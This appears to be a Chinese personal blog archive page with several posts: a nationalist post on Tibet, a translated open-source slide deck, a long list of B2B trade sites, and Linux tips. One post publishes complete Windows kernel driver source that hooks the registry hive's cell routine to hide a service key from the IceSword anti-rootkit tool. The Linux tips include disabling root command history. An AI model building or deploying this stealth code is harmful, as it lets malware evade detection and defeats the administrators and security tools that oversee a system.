Recent Posts

 
21Mar

Tibet Was,is and Always Will Be a Part of China!!!!!!!!

一位19岁的加拿大目击者的话说,他看到一大群人向维持秩序的警察扔石头,他们甚至准备了“三个装满石头的箱子”。这些暴徒还砸了附近街上的商店,用金属棒子殴打过路人,放火烧他们的摩托车,“我至少看到一名20来岁的小伙子被打死”。还有一位瑞士目击者称,他看到一位骑自行车的老人被暴徒殴打,“暴徒们叫得像一群狼”。他还说,一位加拿大游客在试图援救一名青年时遭到暴徒攻击。“他们用脚踹他的肋骨,然后血从他的脸上流下来。

来自互联网的新闻,看了之后,很气愤,到了国外的视频网站上(非Youtube),看到了这个视频,很震撼,很感动,发到这里!!
http://www.metacafe.com/watch/1171874/tibet_was_is_and_always_will_be_a_part_of_china_from_youtub/

17Mar

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

  1. </p>
  2. <p>#include <ntddk.h></p>
  3. <p>#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )</p>
  4. <p>#define CM_KEY_INDEX_ROOT      0x6972         // ir<br />
  5. #define CM_KEY_INDEX_LEAF      0x696c         // il<br />
  6. #define CM_KEY_FAST_LEAF       0x666c         // fl<br />
  7. #define CM_KEY_HASH_LEAF       0x686c         // hl</p>
  8. <p>// 一些CM的数据结构,只列出用到的开头部分<br />
  9. #pragma pack(1)<br />
  10. typedef struct _CM_KEY_NODE {<br />
  11.        USHORT Signature;<br />
  12.        USHORT Flags;<br />
  13.        LARGE_INTEGER LastWriteTime;<br />
  14.        ULONG Spare;               // used to be TitleIndex<br />
  15.        HANDLE Parent;<br />
  16.        ULONG SubKeyCounts[2];     // Stable and Volatile<br />
  17.        HANDLE SubKeyLists[2];     // Stable and Volatile<br />
  18.        // ...<br />
  19. } CM_KEY_NODE, *PCM_KEY_NODE;</p>
  20. <p>typedef struct _CM_KEY_INDEX {<br />
  21.        USHORT Signature;<br />
  22.        USHORT Count;<br />
  23.        HANDLE List[1];<br />
  24. } CM_KEY_INDEX, *PCM_KEY_INDEX;</p>
  25. <p>typedef struct _CM_KEY_BODY {<br />
  26.        ULONG Type;                // "ky02"<br />
  27.        PVOID KeyControlBlock;<br />
  28.        PVOID NotifyBlock;<br />
  29.        PEPROCESS Process;         // the owner process<br />
  30.        LIST_ENTRY KeyBodyList; // key_nodes using the same kcb<br />
  31. } CM_KEY_BODY, *PCM_KEY_BODY;</p>
  32. <p>typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);</p>
  33. <p>typedef struct _HHIVE {<br />
  34.        ULONG Signature;<br />
  35.        PGET_CELL_ROUTINE GetCellRoutine;<br />
  36.        // ...<br />
  37. } HHIVE, *PHHIVE;<br />
  38. #pragma pack()</p>
  39. <p>// 需隐藏的主键名<br />
  40. WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";</p>
  41. <p>PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;<br />
  42. PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;</p>
  43. <p>PCM_KEY_NODE g_HideNode = NULL;<br />
  44. PCM_KEY_NODE g_LastNode = NULL;</p>
  45. <p>// 打开指定名字的Key<br />
  46. HANDLE OpenKeyByName(PCWSTR pwcsKeyName)<br />
  47. {<br />
  48.        NTSTATUS status;<br />
  49.        UNICODE_STRING uKeyName;<br />
  50.        OBJECT_ATTRIBUTES oa;<br />
  51.        HANDLE hKey;</p>
  52. <p>       RtlInitUnicodeString(&uKeyName, pwcsKeyName);<br />
  53.        InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);<br />
  54.        status = ZwOpenKey(&hKey, KEY_READ, &oa);<br />
  55.        if (!NT_SUCCESS(status))<br />
  56.        {<br />
  57.            DbgPrint("ZwOpenKey Failed: %lx\n", status);<br />
  58.            return NULL;<br />
  59.        }</p>
  60. <p>       return hKey;<br />
  61. }</p>
  62. <p>// 获取指定Key句柄的KeyControlBlock<br />
  63. PVOID GetKeyControlBlock(HANDLE hKey)<br />
  64. {<br />
  65.        NTSTATUS status;<br />
  66.        PCM_KEY_BODY KeyBody;<br />
  67.        PVOID KCB;</p>
  68. <p>       if (hKey == NULL) return NULL;</p>
  69. <p>       // 由Key句柄获取对象体<br />
  70.        status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);<br />
  71.        if (!NT_SUCCESS(status))<br />
  72.        {<br />
  73.            DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);<br />
  74.            return NULL;<br />
  75.        }</p>
  76. <p>       // 对象体中含有KeyControlBlock<br />
  77.        KCB = KeyBody->KeyControlBlock;<br />
  78.        DbgPrint("KeyControlBlock = %lx\n", KCB);</p>
  79. <p>       ObDereferenceObject(KeyBody);</p>
  80. <p>       return KCB;<br />
  81. }</p>
  82. <p>// 获取父键的最后一个子键的节点<br />
  83. PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)<br />
  84. {<br />
  85.        // 获取父键的节点<br />
  86.        PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);<br />
  87.        // 获取子键的索引<br />
  88.        PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);</p>
  89. <p>       DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);</p>
  90. <p>       // 如果为根(二级)索引,获取最后一个索引<br />
  91.        if (Index->Signature == CM_KEY_INDEX_ROOT)<br />
  92.        {<br />
  93.            Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);<br />
  94.            DbgPrint("Index = %lx\n", Index);<br />
  95.        }</p>
  96. <p>       if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)<br />
  97.        {<br />
  98.            // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点<br />
  99.            return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);<br />
  100.        }<br />
  101.        else<br />
  102.        {<br />
  103.            // 一般叶索引,返回最后的节点<br />
  104.            return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);<br />
  105.        }<br />
  106. }</p>
  107. <p>// GetCell例程的钩子函数<br />
  108. PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)<br />
  109. {<br />
  110.        // 调用原函数<br />
  111.        PVOID pRet = g_pGetCellRoutine(Hive, Cell);<br />
  112.        if (pRet)<br />
  113.        {<br />
  114.            // 返回的是需要隐藏的节点<br />
  115.            if (pRet == g_HideNode)<br />
  116.            {<br />
  117.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);<br />
  118.                // 查询、保存并返回其父键的最后一个子键的节点<br />
  119.                pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);<br />
  120.                DbgPrint("g_LastNode = %lx\n", g_LastNode);<br />
  121.                // 隐藏的正是最后一个节点,返回空值<br />
  122.                if (pRet == g_HideNode) pRet = NULL;<br />
  123.            }<br />
  124.            // 返回的是先前保存的最后一个节点<br />
  125.            else if (pRet == g_LastNode)<br />
  126.            {<br />
  127.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);<br />
  128.                // 清空保存值,并返回空值<br />
  129.                pRet = g_LastNode = NULL;<br />
  130.            }<br />
  131.        }<br />
  132.        return pRet;<br />
  133. }</p>
  134. <p>NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)<br />
  135. {<br />
  136.        DbgPrint("DriverUnload()\n");<br />
  137.        // 解除挂钩<br />
  138.        if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;<br />
  139.        return STATUS_SUCCESS;<br />
  140. }</p>
  141. <p>NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)<br />
  142. {<br />
  143.        ULONG BuildNumber;<br />
  144.        ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive<br />
  145.        ULONG KeyCellOffset;       // KeyControlBlock->KeyCell<br />
  146.        HANDLE hKey;<br />
  147.        PVOID KCB, Hive;</p>
  148. <p>       DbgPrint("DriverEntry()\n");</p>
  149. <p>       pDrvObj->DriverUnload = DriverUnload;</p>
  150. <p>       // 查询BuildNumber<br />
  151.        if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;<br />
  152.        DbgPrint("BuildNumber = %d\n", BuildNumber);</p>
  153. <p>       // KeyControlBlock结构各版本略有不同<br />
  154.        // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以<br />
  155.        switch (BuildNumber)<br />
  156.        {<br />
  157.            case 2195:     // Win2000<br />
  158.                KeyHiveOffset = 0xc;<br />
  159.                KeyCellOffset = 0x10;<br />
  160.                break;<br />
  161.            case 2600:     // WinXP<br />
  162.            case 3790:     // Win2003<br />
  163.                KeyHiveOffset = 0x10;<br />
  164.                KeyCellOffset = 0x14;<br />
  165.                break;<br />
  166.            default:<br />
  167.                return STATUS_NOT_SUPPORTED;<br />
  168.        }</p>
  169. <p>       // 打开需隐藏的键<br />
  170.        hKey = OpenKeyByName(g_HideKeyName);<br />
  171.        // 获取该键的KeyControlBlock<br />
  172.        KCB = GetKeyControlBlock(hKey);<br />
  173.        if (KCB)<br />
  174.        {<br />
  175.            // 由KCB得到Hive<br />
  176.            PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);<br />
  177.            // GetCellRoutine在KCB中,保存原地址<br />
  178.            g_ppGetCellRoutine = &Hive->GetCellRoutine;<br />
  179.            g_pGetCellRoutine = Hive->GetCellRoutine;<br />
  180.            DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);<br />
  181.            // 获取需隐藏的节点并保存<br />
  182.            g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));<br />
  183.            // 挂钩GetCell例程<br />
  184.            Hive->GetCellRoutine = MyGetCellRoutine;<br />
  185.        }<br />
  186.        ZwClose(hKey);</p>
  187. <p>       return STATUS_SUCCESS;<br />
  188. }</p>
  189. <p>

13Mar

翻译了JAaron Farr的[Open Source in China],大家来找错误!

Case Study: Xoops
案例研究:XOOPS
Extensible Object Oriented Portal System
可拓展模块的门户系统
PHP + MySQL CMS
PHP+MYSQL的内容管理系统
Started in 2001 with 2 developers (1 China, 1 Japan)
2个开发团队从2001年开始开发(1中国,1日本)
Currently 4 main developers, 149 committers
目前为止,4个主要开发团队!149个小团队
English, Chinese, French, Japanese, Brazillian, Spanish
and Italian communities
英文,中文,法文,日文,葡萄牙语,西班牙语,意大利语社区

XOOPS China
15,000 registered users on Xoops.org.cn
xoops.org.cn上有15000个注册用户
Specific resources for Chinese users and a China
community model
为中国的用户,社区提供了详细的资源信息
Support and encouragement of consultants, use in
business and education
支持鼓励任何公司集体在商业,教育上的使用
Feedback, translations, modules, bug fixes
反馈,翻译,模块,BUG调试
http://stephesblog.blogs.com/beijingOSForum/XOOPS-TaiwenJiang.pdf

这里下载PDF文件

08Mar

1000家!!全球B2B网站!!

亚洲
1. 易创电子商http://www.ectrade.com/
2. 中国黄页http://www.chinapages.com/
3. 贸易http://www.tpage.com/
4. 速购网http://www.sugoo.com(7种文字自动跳转)
5. 台湾黄页http://yellowpage.com.tw/
6. 外国企业中文网(亿经国际商贸http://www.chinaexcite.com/
7. 电子商务http://www.ecplaza.net/
8. 二十一世纪电子商务http://www.ec21.net/
9. 在线贸易www.cytra.co.kr
10. 大鸟电子商务http://www.ibrd.com/
11. 在线贸易展览www.bmp.ne.jp
12. 速购韩文站http://kr.sugoo.com
13. 韩国资源http://www.koreansource.com/
14. 阿里巴巴http://www.alibaba.com/
15. 贸易张贴 tradepost-chat.com
16. 贸易总汇http://www.tradeatoz.com/
17. 台湾制造商http://www.manufacturer.net/
18. 台湾贸易机会 htpp://manufacturer.com.tw
19. 台湾商业贸易机会http://www.commerce.com.tw/
20. 产品在线http://www.tradeserv.com/
21. 香港产品http://www.hkprod.com.hk/
22. 速购日文站http://jp.sugoo.com
23. 印度贸易www.trade-india.com
24. 印度投资www.india-invest.com
25. 泰国进出口http://thai-imex.com/
26. 泰国贸易公告板http://www.thaipost.com/
27. 印尼贸易区http://indotradezone.com/
28. 土耳其商务网http://www.businessturkey.com/
29. 土耳其外贸中心http://www.turkex.com/
20. 以色列商会http://www.chamber.org.il/
31. 科威特黄页www.kuwait-yellow-pages.com
32. 巴基斯坦商业星火www.spark.dir.com
33. 新加坡贸易网http://tradelink.com.sg/
34. 新加坡亚洲商业http://www.commerceasia.com/
35. 联合国贸易发展中心http://eto.untpdc.org/
36. 澳洲商务http://www.cnctek.com/
37. 澳洲国际商务论坛http://www.ibf.com/
38. 伊朗黄页http://www.iranyellowpages.com/
39. 贸易快递http://trade-express.com/
40. 珠穆琅玛数字颠峰http://www.8848.net/
40. 易趣http://www.eachnet.com/

美洲
1. 贸易地带http://www.tradezone.com/
2. 世界竞标http://www.worldbid.com/
3. 数字领先http://www.digilead.com/
4. 三A贸易http://aaatrading.com/
5. 世界商务俱乐部http://www.wbc.com/
6. 国际贸易www.intl-trade.com
7. 万韦中心http://www.insidetheweb.com/
8. 世界贸易总汇http://www.wtvusa.como/
9. 世界贸易网http://www.wt.net/
10. 加拿大贸易网www.bc-trade.net
11. 加拿大亚洲网络资源www.netsource-asia.com
12. 墨西哥商务资源http://www.mexconnect.com/
13. 墨西哥贸易http://www.mextrade.com/
14. 巴西世界市场http://worldwidemart.com/
15. 速购西班牙文站http://es.sugoo.com/
16. 贸易代理http://www.tradeagent.com/
17. 在线商机http://www.onlineleads.com/
18. 贸易地带http://www.tradearea.com/
19. 拉美商务区http://www.datapack.com/
20. 委内瑞拉工商目录http://www.ddex.com/
21. 巴西英戴克期商贸网http://www.insidex.com/
22. 电子商务向导http://biz2biz.eguide2000.com/
23. 完全商业信息网www.all-biz.com
24. 亚马逊http://www.amazon.com/
25. 全球百强网http://www.w100.com/
26. 世界交易搜索http://world-trade-search.com/
27. 我的指导http://web.idirect.com/
28. 电子湾http://www.ebay.com/
29. 行政官告白http://www.ceoexpress.com/
30. 道琼斯商业指南http://businessdirectory.dowjones.com/

欧洲
1. 欧洲电子商务http://www.eceurope.com/
2. 欧洲商务http://www.bizeurope.com/
3. 欧洲黄页http://www.europages.com/
4. 丹奈克斯贸易公告板www.danex-exm.dk
5. 速购网英文站http://www.sugoo.com/index.htm
6. 法国黄金贸易网www.golden-trade.com/
7. 沃尔夫世界贸易网http://wtn-de.com/
8. 奥地利贸易公告板www.trade-board.com
9. 英国商业万韦网www.countyweb.co.uk
10. 希腊大理石国际网http://www.greekmarble.com/
11. 法国出口网www.france.abcexports.com
12. 荷兰贸易网http://www.ssrholland.net/
13. 意大利贸易网http://www.italtrade.net/
14. 意大利贸易网www.trade.it
15. 保加利亚市场www.bia-bg.com/market/default.htm
16. 捷克贸易网www.tradenet.cz
17. 罗马尼亚贸易网www.extrem.ro/form.htm
18. 俄罗斯贸易网www.russia-trade.com/
19. 波兰贸易网www.poltrade.top.pl
20. 全球项目市场网http://gpmn.com/

非洲
1. 阿拉伯市http://www.arabbuild.net/
2. 非洲贸易网www.africatrade.co.za
3. 埃及贸易网http://www.egtrade.com/
4. 非洲经贸信息网http://mbendi.com.za/http://www.serraintl.com/,SERRAINTL贸易与运输网
http://www.tradezone.com/,贸易区网
http://www.tradenet.ca/,加拿大贸易网
http://www.iebb.com/,IEBB网
http://www.digilead.com/,DIGILEAD国际贸易网
http://www.sugoo.com/,速购全球电子商务网
http//www.ibrc.bschool.ukans.edu ,KU国际贸易中心
http://www.ginfo.net/,全球信息网
http://www.promoteone.com/,渐进搜索引擎
http://www.wtvusa.com/,全球贸易地区网
http://www.fita.org/,国际贸易协会联合会网
http://www.virtualtradelink.com/,贸易区链接网
http://www.intl-trade.com/,国际贸易网
http://world-trade-search.com/,国际贸易搜索网
http://www.nor-ont.ca/,加拿大西北信息网
http://www.cyberus.ca/~golden_bridge,加拿大金桥网
http://www.commerce.ca/,加拿大商业网
http://www.tradecompass.com/,贸易指南网
http://www.commerce.net/canada/,加拿大商业网
http://www.commerce.com/,加拿大商业网
http://www.usbrazil.com/,巴西信息网
http://www.chilnet.cl/,智利贸易指南
http://www.mextrademonitor.com.mx/,墨西哥贸易网
http://www1.infi.net/ectr/global-1.htm,全球贸易连接
http://www.latinexpo.com/,拉丁美洲贸易网
http://www.masterpage.com.pl/,波兰信息网
http://www.hellas-on-business.gr/,希腊商业网
http://www.fashiontextile.com/,全球纺织品工业网
http://tradenet.chipnet.cz/,捷克贸易网
http://www.global-net-trade.com/,国际网络贸易网
http://www.trade.it/,意大利贸易网
http://www.businessinpoland.com/,波兰贸易网
http://www.golden-trade.com/,金色贸易网
http://www.businesseurope.com/,欧洲贸易网
http://www.france-companies.com/,法国贸易公司网
http://worldbusiness.net/,全球贸易网
http://www.commerce.ie/,爱尔兰商业网
http://www.trade-board.com/,贸易公告板
http://www.commerce.co.uk/,英国商业网
http://www.egtrade.com/,埃及贸易网
http://www.mbendi.co.za/,南非贸易网
http://www.commerce.co.za/,南非商业联合网
http://www.business.co.za/,南非商务网
http://www.trade.co.za/,南非贸易联合网
http://www.southafrica.net/,南非信息网
http://www.zimbabwe.net/business/,津巴布纬贸易网
http://www.exinet.co.za/exinet.html,南非贸易信息资源网
http://www.cytra.co.kr/,韩国贸易网
http://www.gdirect.com/Asia/Malaysia,马来西亚贸易网
http://www.chinabig.com/,中国贸易网
http://www.asiannet.com/,亚洲贸易网
http://cn.sugoo.com/,速购·中文
http://www.wwindia.com/,印度贸易网
http://www.asiabiz.com/,亚洲商业联线
http://www.asiatoday.com/,亚洲咨询网
http://www.hiasia.com.cn/,亚洲商业资源网
http://www.chinatown.com.my/ebw/bdl/index.html,马来西亚商业索引
http://www.nii.org.tw/cnt/,台湾国际电子商务中心
http://gcartaco.8m.com/,香港工业资料网
http://www.venture-web.or.jp/,日本贸易机会网
http://www.commerce.com.tw/,台湾贸易网
http://www.iebb.com.tw/,台湾黄页
http://www.buyersguide.com/,韩国购物者指南
http://www.iebb.com/,进出口公告板
http://www.eckorea.net/,韩国贸易网
http://kr.sugoo.com/,速购·韩文
http://www.bizemall.com.au/,澳大利亚网上商务网
http://trade-express.com/,商业速递
http://www.business.com.au/,澳洲商业网
http://tradeex.net.au/,澳大利亚贸易网
http://www.axis.com.au/,澳洲电子商务网
http://www.eatb.com.cn/,欧亚贸易桥市场供求
http://www.marketrus.com/,中俄商贸桥
http://www.uschinabusiness.com/index.htm,美中商务网
http://wwwinfo.net.cn/,万维国际经贸信息网
http://www.tmjtrade.com/,东北亚信息网(中韩日英)
http://www.pengyou.com/,中韩贸易-供求天地
http://www.uschinabusiness.com/,美中商务网供求信息
http://www.sinosource.com/bbs/indexc.htm,中国资源网
http://www.asiannet.com/map/chinese.htm,亚洲网络
http://www.chinaexporter.com/mall/index.htm,中国出口国际网
http://www.fly.com.cn/Post.htm,飞讯供求信息
http://wwwinfo.net.cn/rel/japan.html,日本
http://www.china-business-corner.com/,中国商务国际网络
http://www.china-channel.com/,中国频道供求信息
http://www.chinabusiness.org/,博泰进出口信息
http://www.itdn.com.cn/,中国国际贸易发展网
http://www.itdn.com.cn/information/fenlei.asp,**ITDN中国国际贸易发展网400个站点
http://www.hiasia.com.cn/china/add.cgi,亚洲商业资源
http://wwwinfo.net.cn/board/,万维商机贸易公告板
http://szmarket.shenzhentrade.com.cn/eto/,深圳市贸发局网上电子贸易机会
http://www.bjccidd.com/down.htm,经贸信息网免费供求信息
http://www.chinasource.com/gq/entryform.cfm,中国商务资源供求信息发布
http://203.120.18.65/market/post_sm.htm,世界华商网络迷你广告
http://www.pengyou.com/,中韩贸易-供求天地
http://wwwinfo.net.cn/board/post.html, 万维商桥
http://wwwinfo.net.cn/rel/, ETO电子贸易机会系统

中华人民共和国商务部 www.mofcom.gov.cn 最权威的外贸法律、法规及相关信息。驻各国或地区的商务参赞处的分网站提供该国的法律、法规、人文、地理和交易习惯。
中华人民共和国国家质量监督检验检疫总局 www.aqsiq.gov.cn 最权威的与进出口检验检疫相关的法律、法规及信息。
中华人民共和国海关总署 www.customs.gov.cn 最权威的与通关相关的法律、法规及信息。
国家外汇管理局 www.safe.gov.cn 最权威的与外汇账户、结汇、核销相关的法律、法规及信息。
国家税务总局 www.chinatax.gov.cn 最权威的与出口退税相关的法律、法规及信息。
中国出口商品交易会 www.cantonfair.org.cn 提供广交会的最新信息。参加广交会的企业名录。
速购网 www.sugoo.com 拥有7种文字,多种模式的电子商务网站;一个会员身份可以发布免费多种语言信息,后台功能丰富。
中国制造网 www.made-in-china.com 企业目录,供求信息,产品列表。
中国贸易指南 www.cbg.org.cn 由中国贸易指南编委会组织实施的外经贸信息服务项目。经贸商情市场信息、外经贸政策法规信息和经济环境信息、中国出口商品数据库、世界进口商名录数据库等。权威的信息。
易创电子商贸网 www.ectrade.com 企业目录,供求信息,产品列表。
中国小商品网 www.xzp.cn 小商品行业的BTOB资讯网站。
中国塑料模具网 www.plasticmould.net 找塑料模具的厂家和信息到这里来。
——香港
香港贸易发展局 www.tdctrade.com 香港贸易发展局官方网站。政策法规,贸易活动,企业目录,供求信息。
e大中华 www.ebigchina.com 企业目录,供求信息。
TradeBIG www.tradebig.com 企业目录,供求信息。
易贸通 www.tradeeasy.com 在线B2B交易市场, 使用方便。

——印度
trade-india www.trade-india.com 印度进口商名录,出口商黄页,国际进出口商目录,供求信息。
indiaMART www.indiamart.com 印度的在线B2B交易市场,企业名录,供求信息。操作方便。

——澳洲
澳大利亚黄页 www.yellowpages.com.au 澳大利亚黄页,信息丰富。
AUussie www.aussie.com.au 澳大利亚商业目录。信息量大。
Australia Trade Nowwww.australiatradenow.com 澳大利亚在线交易市场。[印度]
OzLines www.ozlines.com.au 澳大利亚网站目录指南。
wholesaleNET www.wholesalenet.com.au 澳大利亚和新西兰的B2B目录和在线交易市场。

——非洲
非洲贸易 www.africatrade.co.za 非洲贸易新闻、供求信息、贸易公告版等。
埃及贸易名录 www.egtrade.com 提供埃及的工厂、进出口商、运输、银行等名录。

——加拿大
Worldbid.com www.tradeport.org 大型在线交易市场,公司目录,供求信息。使用方便,信息量大。

——台湾
台湾经贸网 www.taiwantrade.com.tw 台湾对外贸易发展局官方网站。政策法规,贸易活动,企业目录,供求信息。
AllProducts.com www.allproducts.com 为买家提供的供货商、出口商和OEM制造商的产品信息。
中国制造商目录 www.manufacture.com.tw 主要是台湾的制造商、出口商、供应商和贸易公司的目录。

——韩国
EC21 www.ec21.com 著名的在线B2B交易市场, 使用方便,信息量大。
EC placa www.ecplaza.net 在线B2B交易市场, 使用方便,信息量大。
E-trader.com www.e-trader.com 韩国的在线交易市场, 信息量大,可订阅供求信息。
Sugoo Korea kr.sugoo.com 速购网韩国站

——亚洲
asiaEP www.asiaep.com 马来西亚的工业品在线交易市场。企业名录,供求信息。[马来西亚]
亚洲客 www.asiaco.com 进入亚洲的门票,了解世界的窗口”。方便、准确地搜索亚洲各国的网站。[新加坡]

——欧洲
Kompass www.kompass.com 全球的商业采购和营销目录。提供近两百万个公司的产品和联系信息。多种语言查询。很厉害,很方便。[法国]
Eceurope www.eceurope.com 欧洲的B2B在线交易市场。[英国]
EuroPages www.europages.com 33个欧洲国家的商业名录,25种语言版本。很厉害。[法国]
BizEurope.com www.bizeurope.com 欧洲的进出口门户,商业名录。[荷兰]
Gula Sidorna www.gulasidorna.se 瑞典黄页,信息量大。但英语版的乱码较多。[瑞典]
Import - Export Bulletin Board www.trade.swissinfo.net 进出口白板。发布国际贸易供求信息。热闹,是个交商友的好地方。[瑞士]

——美国
Google www.google.com 世界著名的关键词型搜索引擎。搜索灵活、方便、快速、准确。
Yahoo www.yahoo.com 世界著名的目录型搜索引擎。针对不同国家和地区设立了分网站,是开展网络营销进入这些国家的门户。
Alexa www.alexa.com 一个功能惊人的网站。为全世界的网站的流量进行排名,帮你找到最好的网站。
SearchWho.com www.searchwho.com 集成了世界著名的搜索引擎,一次点击,可以快速地搜索到TOP网站。
Ioffer www.ioffer.com 在线交易市场,允许买卖双方对交易条款进行商议。可以得到有关的价格信息。
BuyerZone.com www.buyerzone.com 专门为中小企业的在线交易市场,公司目录,供求信息。使用方便,信息量大。
OverStock.com www.overstock.com 销售积压品牌商品。从中可以了解价格信息。
EWorldTrade www.e-worldtrade.com 为进出商、制造商、批发商提供的在线贸易中心,公司目录,供求信息。信息量大,交商友的好地方。
MeetWorldTrade www.meetworldtrade.com 从韩国、泰国、中国和印度进口的B2B门户。
DNSStuff www.dnsstuff.com 这是一个威力强大网站。这个网站可以提供DNS报告,通过IP地址查询地址,查询域名注册信息……。专为高手所用!
Geobytes www.geobytes.com 这是一个威力强大网站。这个网站可以提供多种分析信息……。专为高手所用!
韦氏大词典 www.m-w.com 英英字典。平常字典查不到的词,可以到这里查。
bartleby www.bartleby.com 集成多种百科大辞典。不了解的词汇可以到这里了解来龙去脉。
消费研究 www.consumersearch.com 市场调研的好地方
名人档案 www.nndb.com 世界名人的档案,很具体的。
(还是人家美国人牛B吧~)

——南美洲
墨西哥贸易 www.mextrade.com B2B在线交易市场。供求信息。
委内瑞拉贸易 www.trade-venezuela.com 为委内瑞拉出口提供服务。贸易名录,产品索引。
速购西班牙文 es.sugoo.com 可以免费发布西班牙文信息。

全球前20位免费商业站点网址!希望各位能从中受益!
1 ALIBABA http://www.alibaba.com
2 EC EUROPE http://www.eceurope.com/
3 ETO COMMERCE http://eto.commerce.com.tw/
4 TRADE UK http://tradeuk.brightstation.com/
5 EC PLAZA http://www.ecplaza.net/
6 ECROBOT.COM http://www.ecrobot.com
7 WORLDBIZCLUB http://www.wbc.com/
8 WORLD BID http://www.worldbid.com/
9 EC21 http://www.ec21.net/
10 FOREIGN-TRADE http://www.foreign-trade.com/
11 Sugoo.com http://sugoo.com
12 BUSY TRADE http://www.busytrade.com/
13 COUNTYWEB http://tradeboard.countyweb.co.uk
14 BS-OFFICE100 http://www.bs-office100.com
15 NETTRADE 21 http://www.nettrade21.net/
16 NUDEAL http://www.nudeal.com/welcome/
17 FREE TRADE FRONT http://www.freetradefront.com/
18 BPGTO NETVIGATOR http://bpgto.netvigator.com/
19 TRADE AT OZ http://www.tradeatoz.com/
20 TRADELEAD http://www.tradelead.com/
www.prothink.cn整理

05Mar

linux 常用命令 小技巧

1 、实现RedHat非正常关机的自动磁盘修复

先登录到服务器,然后在/etc/sysconfig里增加一个文件autofsck,内容如下:
AUTOFSCK_DEF_CHECK=yes
PROMPT=yes

2、改变文件或目录之最后修改时间(变为当前时间)

执行格式:touch name ( name 可为文件或目录名称。)

3、如何设置login后欢迎信息

修改/etc/motd,往里面写入文本即可

4、如何设置login前欢迎界面

修改/etc/issue或者issue.net,往里面写入文本。
issue的内容是出现在本机登录的用户界面上,而issue.net则是在用户通过网络telnet的时候出现。
eg:
# vim /etc/issue
CentOS release 4.5 (Final)
Kernel \r on an \m
则在欢迎界面前显示
CentOS release 4.5 (Final)
Kernel 2.6.9-55.0.2.EL on an i686

5、如何修改网卡MAC地址

首先必须关闭网卡设备,否则会报告系统忙,无法更改。
命令是: /sbin/ifconfig eth0 down
修改 MAC 地址,这一步较 Windows 中的修改要简单。
命令是:/sbin/ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE
重新启用网卡 /sbin/ifconfig eht0 up
网卡的 MAC 地址更改就完成了

6、建立别名/删除别名

alias cp=’cp -i’
unalias cp

7、如何知道某个命令使用了什么库文件

例如要知道ls使用了什么库文件,可以使用:
$ ldd /bin/ls

8、如何使一个用户进程在用户退出系统后仍然运行

使用nohup command &,比如:nohup wget -c ftp://test.com/test.iso
#这样即使用户退出系统,wget进程仍然继续运行直到test.iso下载完成为止
(-c:断点续传,这也是个非常有用的设置,特别当下载比较大的文件的时候,如果中

  途意外中断,那么连接恢复的时候会从上次没传完的地方接着传,而不是又从头开始,使

  用这一项需要远程服务器也支持断点续传,一般来讲,基于UNIX/linux的Web/FTP服务器

  都支持断点续传)

9、如何限制用户的最小密码长度

修改/etc/login.defs里面的PASS_MIN_LEN的值。比如限制用户最小密码长度是8:
PASS_MIN_LEN 8

10、如何取消root命令历史记录以增加安全性

为了设置系统不记录每个人执行过的命令,就在/etc/profile里设置:
HISTFILESIZE=0
HISTSIZE=0
或者:
ln -s /dev/null ~/.bash_history

11、如何测试硬盘性能

使用hdparm -t -T /dev/hdX就可以测试硬盘的buffer-cache reads和buffered disk reads两个数据,可以用来当作硬盘性能的参考。
同时使用hdparm -c3 /dev/hdaX还能设置硬盘以32bit传输,以加快数据传输的速度。
我们使用的Linux在默认情况下,访问IDE设备的时候设置的很保守。这样设置的目的是为了保护数据安全和系统的兼容性,这样可以确保任何硬件都可以被支持(例如386、486等)我们可以通过下面命令查看当前硬盘的性能 
hdparm -Tt /dev/hda
结果显现如下
# hdparm -Tt /dev/hda
/dev/hda:
Timing cached reads: 1200 MB in 2.00 seconds = 600.00 MB/sec
Timing buffered disk reads: 76 MB in 3.02 seconds = 25.17 MB/sec

  -T是测试缓存系统
  -t是报告磁盘的状态,并读取缓存中的数据
  以上数据是在P4 1.7G/512M 内存/40G IDE的机器上测试的。

